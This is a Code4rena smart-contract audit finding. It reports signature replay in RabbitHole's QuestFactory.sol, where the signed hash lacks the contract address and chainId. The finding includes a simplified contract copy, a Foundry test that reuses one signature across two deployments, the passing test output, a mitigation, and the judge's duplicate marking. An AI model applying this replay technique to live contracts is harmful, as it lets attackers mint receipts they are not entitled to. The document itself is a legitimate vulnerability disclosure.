Signature malleability in QuestFactory.sol

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219-L229

Vulnerability details

Impact

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219-L229
can be replay attack in another contract

Proof of Concept

     contract signer {

      // storage vars. Insert new vars at the end to keep the storage layout the same.
        struct Quest {
            mapping(address => bool) addressMinted;
            address questAddress;
            uint totalParticipants;
            uint numberMinted;
        }

        address public claimSignerAddress;
        address public protocolFeeRecipient;
        mapping(string => Quest) public quests;
        RabbitHoleReceipt public rabbitholeReceiptContract;
        mapping(address => bool) public rewardAllowlist;
        uint public questFee;
        uint public questIdCount;
        string questId = 'asdf';

        error QuestIdUsed();
        error OverMaxAllowedToMint();
        error AddressNotSigned();
        error AddressAlreadyMinted();
        error InvalidHash();
        error OnlyOwnerCanCreate1155Quest();
        error RewardNotAllowed();
        error QuestTypeInvalid();
        error AddressZeroNotAllowed();
        error QuestFeeTooHigh();

        event QuestCreated(address indexed creator, address indexed contractAddress, string indexed questId, string contractType, address rewardTokenAddress, uint256 endTime, uint256 startTime, uint256 totalParticipants, uint256 rewardAmountOrTokenId);
        event ReceiptMinted(address indexed recipient, string indexed questId);
      constructor (address _signer)
      {

        quests[questId].totalParticipants=10;//only test
        claimSignerAddress=_signer;

      }



      function mintReceipt(string memory questId_, bytes32 hash_, bytes32 r, bytes32 s,uint8 v) public {
            if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint();
            if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();
            if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
            //if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();
            address  signer = ecrecover(hash_, v, r, s);
            if(signer != claimSignerAddress) revert AddressNotSigned();


            quests[questId_].addressMinted[msg.sender] = true;
            quests[questId_].numberMinted++;
            emit ReceiptMinted(msg.sender, questId_);
          // rabbitholeReceiptContract.mint(msg.sender, questId_);
        }
    }

here a contract with the function

      contract ContractTest_sing is DSTest{

      address alice;
      address user=address(1);
      string questId = 'asdf';
      bytes32 hash;
      address internal constant VM_ADDRESS = address(uint160(uint256(keccak256("hevm cheat code"))));
      Vm internal constant vm = Vm(VM_ADDRESS);
      signer public contract_sig;
        

        function testReplayAttaack() public{

              alice = vm.addr(1);

              hash = keccak256(abi.encodePacked(user,questId));

              (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);


              contract_sig=new signer(alice);//contract 
              vm.startPrank(user);
              contract_sig.mintReceipt(questId, hash,  r,  s, v);
              vm.expectRevert();
              contract_sig.mintReceipt(questId, hash,  r,  s, v);//same sig  at same contract 
              vm.stopPrank();

              contract_sig=new signer(alice);//contract 

              vm.startPrank(user);

              contract_sig.mintReceipt(questId, hash,  r,  s, v);//same sig on another  contract 
              vm.expectRevert();
              contract_sig.mintReceipt(questId, hash,  r,  s, v);//same sig at same contract 
              vm.stopPrank();

        }

      }

here test

    Running 1 test for test/quest.t.sol:ContractTest_sing
    [PASS] testReplayAttaack() (gas: 1038752)
    Test result: ok. 1 passed; 0 failed; finished in 4.83ms

Tools Used

manual review

Recommended Mitigation Steps

add at the hash the address of contract and chainId

[c4-judge]

kirk-baird marked the issue as duplicate of #45

[c4-judge]

kirk-baird marked the issue as satisfactory